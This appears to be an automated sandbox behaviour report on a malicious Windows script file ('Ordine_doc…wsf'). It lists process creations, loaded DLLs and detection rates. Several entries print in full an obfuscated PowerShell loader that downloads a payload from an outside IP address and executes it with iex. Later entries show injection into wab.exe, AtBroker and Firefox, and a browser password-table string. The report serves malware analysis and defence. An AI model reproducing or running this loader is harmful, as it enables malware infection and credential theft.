Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=2568
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=4320

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

Source: AtBroker.exe, 0000000C.00000002.3227176757.0000000002D36000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3227176757.0000000002D32000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3227176757.0000000002D45000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3227176757.0000000002D3F000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Ordine_doc_419024001904.wsf	ReversingLabs: Detection: 41%
Source: Ordine_doc_419024001904.wsf	Virustotal: Detection: 42%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Ordine_doc_419024001904.wsf"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Offence = 1;$Rabbitriesnterimsstyre='Substrin';$Rabbitriesnterimsstyre+='g';Function adskilligt($Tegnedatabasen){$Bejig=$Tegnedatabasen.Length-$Offence;For($Rabbitries=1; $Rabbitries -lt $Bejig; $Rabbitries+=(2)){$Foundlings+=$Tegnedatabasen.$Rabbitriesnterimsstyre.Invoke($Rabbitries, $Offence);}$Foundlings;}function Apalachicola($Specieskbenes){&($milleardtedele) ($Specieskbenes);}$Folkedemokrati=adskilligt 'IMHoAzAi.l l,aO/ 5 .T0W S(,W,iUn,dgoBw,sH SNDTe .1H0P.G0,; RWPi nN6R4 ;N xM6T4K;, CrUv :R1M2G1 . 0C) BGVe,cEkBo,/,2 0,1,0 0E1L0 1, LFUiTr.enfko,xs/ 1A2U1Y.,0L ';$Godsterminalers=adskilligt 'hUPsMe rT-.AAgUe,n tG ';$Discredit=adskilligt 'Ghtt tJp :M/,/.8,7F. 1.2,1..U1 0 5S.M1A6P3C/ AKc a riiFa,t,r eA4S3,. cbhBm ';$Trlbundnes=adskilligt ' >M ';$milleardtedele=adskilligt 'TiUe.x ';$Phillipeener = adskilligt ' eScSh oS R%HaUp pEd ast aL%,\ B.aBl lHe pNrAeUsFs e r.e.s,. IfnNe K&E&M We.cAhSok .$ ';Apalachicola (adskilligt ' $MgRlFoUb aKl :MGMeBrCmKiEf.uUgBe.= (,cTmHdV /HcE .$UP hTiUl.lPiUpPe eSn.eDrA), ');Apalachicola (adskilligt 's$,g l,o b aKlv:IBAaFrFrFa m uTnMdpaZsP= $ D i sNcUr eVd iFtS.TsLpSlDiTtU( $,T.r lFb,uEn dQn eNs )S ');$Discredit=$Barramundas[0];Apalachicola (adskilligt 'p$ gEl.oKbTaNlF: o,vUerr gBe nKe.r a.l i z iUnRg =,N,eSw -.O b jTe cUtP .SFyus.tBevmD. N eEtG.sWBeFbOC.lKi eSnFt ');Apalachicola (adskilligt 'W$ o.v e.rLgMeMn.eUrJaGlDiPz iPn gP. H eNaGdAe,rDsA[ $PGEo d sPtAe.r,mBiMnUa lje,r sA]T=U$.F o.l kSeRd e,mGoOkFrPa tPi ');$Lordlily=adskilligt 'DoRv eArHgueRn.eSrKaSl iDzPiGn g .,DSoTwFn,l.oBaRd F iSlHeP( $ D i,sBc rSe.dHittK,I$,O z,oPn.iTc,), ';$Lordlily=$Germifuge[1]+$Lordlily;$Ozonic=$Germifuge[0];Apalachicola (adskilligt 'n$,g.l oSb a.la:Rf,eTrKsTk vLa n d,e n,eB=C(,T eVsSt -WPEa tIh $MO z,oEn,iWc ) ');while (!$ferskvandene) {Apalachicola (adskilligt ' $ g lVo bOaHl :FcRoum.p l e,m e,nAt eIr.= $ tJr u eB ') ;Apalachicola $Lordlily;Apalachicola (adskilligt ' S.t a,rRtM- SDlLeNe.p 4T ');Apalachicola (adskilligt ' $Fg l,o b a l :Ff,e r sTkAv a nOd.eTn e,= (TTSe.s t -LPTaLtHh C$SO zBo.nIiOcA) ') ;Apalachicola (adskilligt 'U$ g l o bHaKl : E n eMr,vSeTrTeS=R$BgSl oBb.a.lH:FT eOr m o m eMtEr.e.n.eF+,+ % $ BPa r r a m uBnAdNa s .ScKoBuCn ts ') ;$Discredit=$Barramundas[$Enervere];}Apalachicola (adskilligt 'u$SgOlWo,bCaNl : FTiTrTeFlTo c kLs ,=. UG eTtT-OC,o nRtle,nAt $FO,z o.nEiIcA ');Apalachicola (adskilligt ',$Cg l oAbpaClP: LHiPt tPe rHa t uMrIl i.s t e nE1U4N M=D [.S.y.s.tKe mr.,CIo,nTv e r,t,]F:D: F rAo.m.B a.sSeB6T4,SEt rSiSn g,( $MF iGrRePlio cSk sM)N ');Apalachicola (adskilligt 'G$Jg,lLoGbDaTl :sV eEr b iBg eVr a tHi n.gB B=A [RSWyEs.t e,ms. TLefx tC. EKn cNoOdEitnMg ],:K:KA SPC IUIT. G,eCt S tNrmi nPg (U$ LAiGtEt e rvaEt uMrRl i.sTt e ne1B4.)S ');Apalachicola (adskilligt 'N$.g.lMoVboaSl.: Kta r r i e r e.r nDeS1 5 8S= $OV eRrPbAi g e,r aQt,i,nHgN. sBuRb sHtMr iPnRgL( 3 3B6T3 9 4,,.2B5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Ballepresseres.Ine && echo $"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Offence = 1;$Rabbitriesnterimsstyre='Substrin';$Rabbitriesnterimsstyre+='g';Function adskilligt($Tegnedatabasen){$Bejig=$Tegnedatabasen.Length-$Offence;For($Rabbitries=1; $Rabbitries -lt $Bejig; $Rabbitries+=(2)){$Foundlings+=$Tegnedatabasen.$Rabbitriesnterimsstyre.Invoke($Rabbitries, $Offence);}$Foundlings;}function Apalachicola($Specieskbenes){&($milleardtedele) ($Specieskbenes);}$Folkedemokrati=adskilligt 'IMHoAzAi.l l,aO/ 5 .T0W S(,W,iUn,dgoBw,sH SNDTe .1H0P.G0,; RWPi nN6R4 ;N xM6T4K;, CrUv :R1M2G1 . 0C) BGVe,cEkBo,/,2 0,1,0 0E1L0 1, LFUiTr.enfko,xs/ 1A2U1Y.,0L ';$Godsterminalers=adskilligt 'hUPsMe rT-.AAgUe,n tG ';$Discredit=adskilligt 'Ghtt tJp :M/,/.8,7F. 1.2,1..U1 0 5S.M1A6P3C/ AKc a riiFa,t,r eA4S3,. cbhBm ';$Trlbundnes=adskilligt ' >M ';$milleardtedele=adskilligt 'TiUe.x ';$Phillipeener = adskilligt ' eScSh oS R%HaUp pEd ast aL%,\ B.aBl lHe pNrAeUsFs e r.e.s,. IfnNe K&E&M We.cAhSok .$ ';Apalachicola (adskilligt ' $MgRlFoUb aKl :MGMeBrCmKiEf.uUgBe.= (,cTmHdV /HcE .$UP hTiUl.lPiUpPe eSn.eDrA), ');Apalachicola (adskilligt 's$,g l,o b aKlv:IBAaFrFrFa m uTnMdpaZsP= $ D i sNcUr eVd iFtS.TsLpSlDiTtU( $,T.r lFb,uEn dQn eNs )S ');$Discredit=$Barramundas[0];Apalachicola (adskilligt 'p$ gEl.oKbTaNlF: o,vUerr gBe nKe.r a.l i z iUnRg =,N,eSw -.O b jTe cUtP .SFyus.tBevmD. N eEtG.sWBeFbOC.lKi eSnFt ');Apalachicola (adskilligt 'W$ o.v e.rLgMeMn.eUrJaGlDiPz iPn gP. H eNaGdAe,rDsA[ $PGEo d sPtAe.r,mBiMnUa lje,r sA]T=U$.F o.l kSeRd e,mGoOkFrPa tPi ');$Lordlily=adskilligt 'DoRv eArHgueRn.eSrKaSl iDzPiGn g .,DSoTwFn,l.oBaRd F iSlHeP( $ D i,sBc rSe.dHittK,I$,O z,oPn.iTc,), ';$Lordlily=$Germifuge[1]+$Lordlily;$Ozonic=$Germifuge[0];Apalachicola (adskilligt 'n$,g.l oSb a.la:Rf,eTrKsTk vLa n d,e n,eB=C(,T eVsSt -WPEa tIh $MO z,oEn,iWc ) ');while (!$ferskvandene) {Apalachicola (adskilligt ' $ g lVo bOaHl :FcRoum.p l e,m e,nAt eIr.= $ tJr u eB ') ;Apalachicola $Lordlily;Apalachicola (adskilligt ' S.t a,rRtM- SDlLeNe.p 4T ');Apalachicola (adskilligt ' $Fg l,o b a l :Ff,e r sTkAv a nOd.eTn e,= (TTSe.s t -LPTaLtHh C$SO zBo.nIiOcA) ') ;Apalachicola (adskilligt 'U$ g l o bHaKl : E n eMr,vSeTrTeS=R$BgSl oBb.a.lH:FT eOr m o m eMtEr.e.n.eF+,+ % $ BPa r r a m uBnAdNa s .ScKoBuCn ts ') ;$Discredit=$Barramundas[$Enervere];}Apalachicola (adskilligt 'u$SgOlWo,bCaNl : FTiTrTeFlTo c kLs ,=. UG eTtT-OC,o nRtle,nAt $FO,z o.nEiIcA ');Apalachicola (adskilligt ',$Cg l oAbpaClP: LHiPt tPe rHa t uMrIl i.s t e nE1U4N M=D [.S.y.s.tKe mr.,CIo,nTv e r,t,]F:D: F rAo.m.B a.sSeB6T4,SEt rSiSn g,( $MF iGrRePlio cSk sM)N ');Apalachicola (adskilligt 'G$Jg,lLoGbDaTl :sV eEr b iBg eVr a tHi n.gB B=A [RSWyEs.t e,ms. TLefx tC. EKn cNoOdEitnMg ],:K:KA SPC IUIT. G,eCt S tNrmi nPg (U$ LAiGtEt e rvaEt uMrRl i.sTt e ne1B4.)S ');Apalachicola (adskilligt 'N$.g.lMoVboaSl.: Kta r r i e r e.r nDeS1 5 8S= $OV eRrPbAi g e,r aQt,i,nHgN. sBuRb sHtMr iPnRgL( 3 3B6T3 9 4,,.2B5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Ballepresseres.Ine && echo $"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	Process created: C:\Windows\SysWOW64\AtBroker.exe "C:\Windows\SysWOW64\AtBroker.exe"
Source: unknown	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Source: unknown	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: C:\Windows\SysWOW64\AtBroker.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Offence = 1;$Rabbitriesnterimsstyre='Substrin';$Rabbitriesnterimsstyre+='g';Function adskilligt($Tegnedatabasen){$Bejig=$Tegnedatabasen.Length-$Offence;For($Rabbitries=1; $Rabbitries -lt $Bejig; $Rabbitries+=(2)){$Foundlings+=$Tegnedatabasen.$Rabbitriesnterimsstyre.Invoke($Rabbitries, $Offence);}$Foundlings;}function Apalachicola($Specieskbenes){&($milleardtedele) ($Specieskbenes);}$Folkedemokrati=adskilligt 'IMHoAzAi.l l,aO/ 5 .T0W S(,W,iUn,dgoBw,sH SNDTe .1H0P.G0,; RWPi nN6R4 ;N xM6T4K;, CrUv :R1M2G1 . 0C) BGVe,cEkBo,/,2 0,1,0 0E1L0 1, LFUiTr.enfko,xs/ 1A2U1Y.,0L ';$Godsterminalers=adskilligt 'hUPsMe rT-.AAgUe,n tG ';$Discredit=adskilligt 'Ghtt tJp :M/,/.8,7F. 1.2,1..U1 0 5S.M1A6P3C/ AKc a riiFa,t,r eA4S3,. cbhBm ';$Trlbundnes=adskilligt ' >M ';$milleardtedele=adskilligt 'TiUe.x ';$Phillipeener = adskilligt ' eScSh oS R%HaUp pEd ast aL%,\ B.aBl lHe pNrAeUsFs e r.e.s,. IfnNe K&E&M We.cAhSok .$ ';Apalachicola (adskilligt ' $MgRlFoUb aKl :MGMeBrCmKiEf.uUgBe.= (,cTmHdV /HcE .$UP hTiUl.lPiUpPe eSn.eDrA), ');Apalachicola (adskilligt 's$,g l,o b aKlv:IBAaFrFrFa m uTnMdpaZsP= $ D i sNcUr eVd iFtS.TsLpSlDiTtU( $,T.r lFb,uEn dQn eNs )S ');$Discredit=$Barramundas[0];Apalachicola (adskilligt 'p$ gEl.oKbTaNlF: o,vUerr gBe nKe.r a.l i z iUnRg =,N,eSw -.O b jTe cUtP .SFyus.tBevmD. N eEtG.sWBeFbOC.lKi eSnFt ');Apalachicola (adskilligt 'W$ o.v e.rLgMeMn.eUrJaGlDiPz iPn gP. H eNaGdAe,rDsA[ $PGEo d sPtAe.r,mBiMnUa lje,r sA]T=U$.F o.l kSeRd e,mGoOkFrPa tPi ');$Lordlily=adskilligt 'DoRv eArHgueRn.eSrKaSl iDzPiGn g .,DSoTwFn,l.oBaRd F iSlHeP( $ D i,sBc rSe.dHittK,I$,O z,oPn.iTc,), ';$Lordlily=$Germifuge[1]+$Lordlily;$Ozonic=$Germifuge[0];Apalachicola (adskilligt 'n$,g.l oSb a.la:Rf,eTrKsTk vLa n d,e n,eB=C(,T eVsSt -WPEa tIh $MO z,oEn,iWc ) ');while (!$ferskvandene) {Apalachicola (adskilligt ' $ g lVo bOaHl :FcRoum.p l e,m e,nAt eIr.= $ tJr u eB ') ;Apalachicola $Lordlily;Apalachicola (adskilligt ' S.t a,rRtM- SDlLeNe.p 4T ');Apalachicola (adskilligt ' $Fg l,o b a l :Ff,e r sTkAv a nOd.eTn e,= (TTSe.s t -LPTaLtHh C$SO zBo.nIiOcA) ') ;Apalachicola (adskilligt 'U$ g l o bHaKl : E n eMr,vSeTrTeS=R$BgSl oBb.a.lH:FT eOr m o m eMtEr.e.n.eF+,+ % $ BPa r r a m uBnAdNa s .ScKoBuCn ts ') ;$Discredit=$Barramundas[$Enervere];}Apalachicola (adskilligt 'u$SgOlWo,bCaNl : FTiTrTeFlTo c kLs ,=. UG eTtT-OC,o nRtle,nAt $FO,z o.nEiIcA ');Apalachicola (adskilligt ',$Cg l oAbpaClP: LHiPt tPe rHa t uMrIl i.s t e nE1U4N M=D [.S.y.s.tKe mr.,CIo,nTv e r,t,]F:D: F rAo.m.B a.sSeB6T4,SEt rSiSn g,( $MF iGrRePlio cSk sM)N ');Apalachicola (adskilligt 'G$Jg,lLoGbDaTl :sV eEr b iBg eVr a tHi n.gB B=A [RSWyEs.t e,ms. TLefx tC. EKn cNoOdEitnMg ],:K:KA SPC IUIT. G,eCt S tNrmi nPg (U$ LAiGtEt e rvaEt uMrRl i.sTt e ne1B4.)S ');Apalachicola (adskilligt 'N$.g.lMoVboaSl.: Kta r r i e r e.r nDeS1 5 8S= $OV eRrPbAi g e,r aQt,i,nHgN. sBuRb sHtMr iPnRgL( 3 3B6T3 9 4,,.2B5	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Ballepresseres.Ine && echo $"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Offence = 1;$Rabbitriesnterimsstyre='Substrin';$Rabbitriesnterimsstyre+='g';Function adskilligt($Tegnedatabasen){$Bejig=$Tegnedatabasen.Length-$Offence;For($Rabbitries=1; $Rabbitries -lt $Bejig; $Rabbitries+=(2)){$Foundlings+=$Tegnedatabasen.$Rabbitriesnterimsstyre.Invoke($Rabbitries, $Offence);}$Foundlings;}function Apalachicola($Specieskbenes){&($milleardtedele) ($Specieskbenes);}$Folkedemokrati=adskilligt 'IMHoAzAi.l l,aO/ 5 .T0W S(,W,iUn,dgoBw,sH SNDTe .1H0P.G0,; RWPi nN6R4 ;N xM6T4K;, CrUv :R1M2G1 . 0C) BGVe,cEkBo,/,2 0,1,0 0E1L0 1, LFUiTr.enfko,xs/ 1A2U1Y.,0L ';$Godsterminalers=adskilligt 'hUPsMe rT-.AAgUe,n tG ';$Discredit=adskilligt 'Ghtt tJp :M/,/.8,7F. 1.2,1..U1 0 5S.M1A6P3C/ AKc a riiFa,t,r eA4S3,. cbhBm ';$Trlbundnes=adskilligt ' >M ';$milleardtedele=adskilligt 'TiUe.x ';$Phillipeener = adskilligt ' eScSh oS R%HaUp pEd ast aL%,\ B.aBl lHe pNrAeUsFs e r.e.s,. IfnNe K&E&M We.cAhSok .$ ';Apalachicola (adskilligt ' $MgRlFoUb aKl :MGMeBrCmKiEf.uUgBe.= (,cTmHdV /HcE .$UP hTiUl.lPiUpPe eSn.eDrA), ');Apalachicola (adskilligt 's$,g l,o b aKlv:IBAaFrFrFa m uTnMdpaZsP= $ D i sNcUr eVd iFtS.TsLpSlDiTtU( $,T.r lFb,uEn dQn eNs )S ');$Discredit=$Barramundas[0];Apalachicola (adskilligt 'p$ gEl.oKbTaNlF: o,vUerr gBe nKe.r a.l i z iUnRg =,N,eSw -.O b jTe cUtP .SFyus.tBevmD. N eEtG.sWBeFbOC.lKi eSnFt ');Apalachicola (adskilligt 'W$ o.v e.rLgMeMn.eUrJaGlDiPz iPn gP. H eNaGdAe,rDsA[ $PGEo d sPtAe.r,mBiMnUa lje,r sA]T=U$.F o.l kSeRd e,mGoOkFrPa tPi ');$Lordlily=adskilligt 'DoRv eArHgueRn.eSrKaSl iDzPiGn g .,DSoTwFn,l.oBaRd F iSlHeP( $ D i,sBc rSe.dHittK,I$,O z,oPn.iTc,), ';$Lordlily=$Germifuge[1]+$Lordlily;$Ozonic=$Germifuge[0];Apalachicola (adskilligt 'n$,g.l oSb a.la:Rf,eTrKsTk vLa n d,e n,eB=C(,T eVsSt -WPEa tIh $MO z,oEn,iWc ) ');while (!$ferskvandene) {Apalachicola (adskilligt ' $ g lVo bOaHl :FcRoum.p l e,m e,nAt eIr.= $ tJr u eB ') ;Apalachicola $Lordlily;Apalachicola (adskilligt ' S.t a,rRtM- SDlLeNe.p 4T ');Apalachicola (adskilligt ' $Fg l,o b a l :Ff,e r sTkAv a nOd.eTn e,= (TTSe.s t -LPTaLtHh C$SO zBo.nIiOcA) ') ;Apalachicola (adskilligt 'U$ g l o bHaKl : E n eMr,vSeTrTeS=R$BgSl oBb.a.lH:FT eOr m o m eMtEr.e.n.eF+,+ % $ BPa r r a m uBnAdNa s .ScKoBuCn ts ') ;$Discredit=$Barramundas[$Enervere];}Apalachicola (adskilligt 'u$SgOlWo,bCaNl : FTiTrTeFlTo c kLs ,=. UG eTtT-OC,o nRtle,nAt $FO,z o.nEiIcA ');Apalachicola (adskilligt ',$Cg l oAbpaClP: LHiPt tPe rHa t uMrIl i.s t e nE1U4N M=D [.S.y.s.tKe mr.,CIo,nTv e r,t,]F:D: F rAo.m.B a.sSeB6T4,SEt rSiSn g,( $MF iGrRePlio cSk sM)N ');Apalachicola (adskilligt 'G$Jg,lLoGbDaTl :sV eEr b iBg eVr a tHi n.gB B=A [RSWyEs.t e,ms. TLefx tC. EKn cNoOdEitnMg ],:K:KA SPC IUIT. G,eCt S tNrmi nPg (U$ LAiGtEt e rvaEt uMrRl i.sTt e ne1B4.)S ');Apalachicola (adskilligt 'N$.g.lMoVboaSl.: Kta r r i e r e.r nDeS1 5 8S= $OV eRrPbAi g e,r aQt,i,nHgN. sBuRb sHtMr iPnRgL( 3 3B6T3 9 4,,.2B5	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Ballepresseres.Ine && echo $"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"	Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe	Process created: C:\Windows\SysWOW64\AtBroker.exe "C:\Windows\SysWOW64\AtBroker.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
